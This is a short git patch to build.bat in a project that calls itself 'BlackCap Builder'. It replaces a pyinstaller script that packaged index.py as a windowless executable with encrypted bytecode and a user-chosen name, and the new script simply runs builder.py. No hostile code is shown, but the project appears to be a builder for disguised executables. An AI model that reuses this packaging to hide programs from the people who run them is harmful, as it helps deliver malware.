From f598d0fb05a4d407ba80100e21f0de30c4b7ee54 Mon Sep 17 00:00:00 2001 From: What about KSCH <54140748+KSCHdsc@users.noreply.github.com> Date: Sun, 30 Oct 2022 19:09:40 +0100 Subject: [PATCH] Update build.bat --- build.bat | 31 +++---------------------------- 1 file changed, 3 insertions(+), 28 deletions(-) diff --git a/build.bat b/build.bat index ba45118..c3ce779 100644 --- a/build.bat +++ b/build.bat @@ -1,29 +1,4 @@ @echo off -color 0a -echo. -set /p a="Enter the exe name : " -if [%a%]==[] ( - CALL:error - pause - EXIT /B -) -if [%a%] NEQ [] ( - CALL:main - EXIT /B 1 -) -ECHO is on -:main -echo. -echo Name is: %a% -pyinstaller --clean --key BLACKCAP --onefile --noconsole -i NONE -n %a% index.py -rmdir /s /q __pycache__ -rmdir /s /q build -del /f / s /q %a%.spec -echo. -echo generated exe as %a%.exe -EXIT /B 1 -ECHO is on -:error -echo. -echo bro enter a name -EXIT /B 1 +title BlackCap Builder v2.1 +python builder.py +pause